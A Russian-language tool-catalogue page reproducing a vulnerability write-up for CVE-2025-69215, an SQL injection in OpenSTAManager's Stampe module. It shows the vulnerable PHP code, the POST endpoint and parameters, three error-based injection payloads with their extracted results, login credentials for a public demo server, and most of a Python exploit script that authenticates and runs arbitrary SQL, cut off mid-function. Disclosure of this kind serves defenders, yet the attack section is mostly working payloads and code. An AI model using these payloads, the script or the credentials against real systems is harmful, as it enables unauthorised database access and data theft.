Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-69215 — CVE-2025-69215 - OpenSTAManager имеет SQL-инъекцию в модуле Stampe | Kitploit
Инструменты/GitHubGitHub/lukasz-rybak/cve-2025-69215
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз Данных
GitHublukasz-rybak/cve-2025-69215

CVE-2025-69215

CVE-2025-69215 - OpenSTAManager имеет SQL-инъекцию в модуле Stampe

Репозиторий
95 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-69215: SQL-инъекция в OpenSTAManager в модуле Stampe

Обзор

ПолеДетали
ID CVECVE-2025-69215
СерьёзностьВЫСОКАЯ
УведомлениеПосмотреть уведомление
ОбнаружилLukasz Rybak

Затронутые продукты

  • devcode-it/openstamanager (версии: <= 2.9.8)

Классификация CWE

  • CWE-89: Неправильная нейтрализация специальных элементов, используемых в SQL-команде ('SQL Injection')

Детали

Детали уязвимости

Расположение

  • Файл: modules/stampe/actions.php
  • Строка: 26
  • Уязвимый код:
case 'update':
    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
        $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
        // ↑ Прямая конкатенация без очистки prepare()
    }

Корневая причина

Параметр module из POST-данных напрямую конкатенируется в SQL-запрос UPDATE без использования функции очистки prepare(). В то время как параметр predefined проверяется с помощью intval(), параметр module проходит только проверку !empty(), что НЕ предотвращает SQL-инъекцию.

Уязвимый шаблон:

// Строка 25: intval() защищает predefined, но module не очищается!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
    // Строка 26: Прямая конкатенация - УЯЗВИМО
    $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}

Эксплуатация

Уязвимая конечная точка

POST /modules/stampe/actions.php

Требуемые параметры

op=update
id_record=1
predefined=1 (должен быть ненулевым после intval())
module=[ПОЛЕЗНАЯ_НАГРУЗКА]
title=Test
filename=test.pdf

Требования аутентификации

  • Требуется действительная аутентифицированная сессия (любой пользователь с доступом к модулю Stampe)
  • ПОДТВЕРЖДЕНО: Пользователи с доступом группы "Tecnici" могут эксплуатировать (НЕ только администраторы!)
  • PoC: Демо на https://demo.osmbusiness.it с учётными данными tecnico/tecnicotecnico

Тип эксплуатации

SQL-инъекция на основе ошибок с использованием функций MySQL EXTRACTVALUE/UPDATEXML/GTID_SUBSET

Подтверждение концепции

Метод 1: EXTRACTVALUE (MySQL 5.1+)

POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded

op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf

Результат:

изображение

Извлечённые данные: Версия MySQL 8.3.0


Метод 2: GTID_SUBSET (MySQL 5.6+)

module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)

Результат:

изображение

Извлечённые данные: Имя базы данных openstamanager


Метод 3: UPDATEXML (MySQL 5.1+)

module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)

Результат:

изображение

Извлечённые данные: Пользователь базы данных [email protected]


Автоматизированная эксплуатация

Полный скрипт эксплойта: exploit_stampe_sqli.py

#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php

Usage:
    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""

import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin

class StampeSQLiExploit:
    def __init__(self, base_url, username, password, verbose=False):
        self.base_url = base_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
        })

    def login(self):
        """Authenticate with username and password"""
        login_url = urljoin(self.base_url, '/index.php')

        if self.verbose:
            print(f"[DEBUG] Attempting login to {login_url}")
            print(f"[DEBUG] Username: {self.username}")

        # First, get the login page to establish session
        resp = self.session.get(login_url)
        if self.verbose:
            print(f"[DEBUG] Initial GET status: {resp.status_code}")

        # Send login credentials with op=login parameter (required!)
        login_data = {
            'username': self.username,
            'password': self.password,
            'op': 'login',  # Required for OpenSTAManager
        }

        resp = self.session.post(login_url, data=login_data, allow_redirects=True)

        if self.verbose:
            print(f"[DEBUG] Login POST status: {resp.status_code}")
            print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")

        # Check if login was successful
        if 'PHPSESSID' not in self.session.cookies:
            print("[-] Login failed: No session cookie received")
            return False

        # Check if we're redirected to dashboard or still on login page
        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
            print("[-] Login failed: Still on login page")
            if self.verbose:
                print(f"[DEBUG] Current URL: {resp.url}")
            return False

        print(f"[+] Successfully logged in as '{self.username}'")
        print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
        return True

    def inject(self, sql_query):
        """Execute SQL injection payload"""
        # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
        payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"

        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')

        if self.verbose:
            print(f"[DEBUG] Target: {target_url}")
            print(f"[DEBUG] Payload: {payload}")

        response = self.session.post(
            target_url,
            data={
                "op": "update",
                "id_record": "1",
                "predefined": "1",
                "module": payload,
                "title": "Test",
                "filename": "test.pdf"
            }
        )

        if self.verbose:
            print(f"[DEBUG] Response status: {response.status_code}")
            print(f"[DEBUG] Response length: {len(response.text)}")

        # Unescape HTML entities first
        response_text = unescape(response.text)

        # Pattern 1: XPATH syntax error with HTML entities or quotes
        # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;
        xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
        if xpath_match:
            result = xpath_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted via XPATH pattern: {result}")
            return result
Скачать инструмент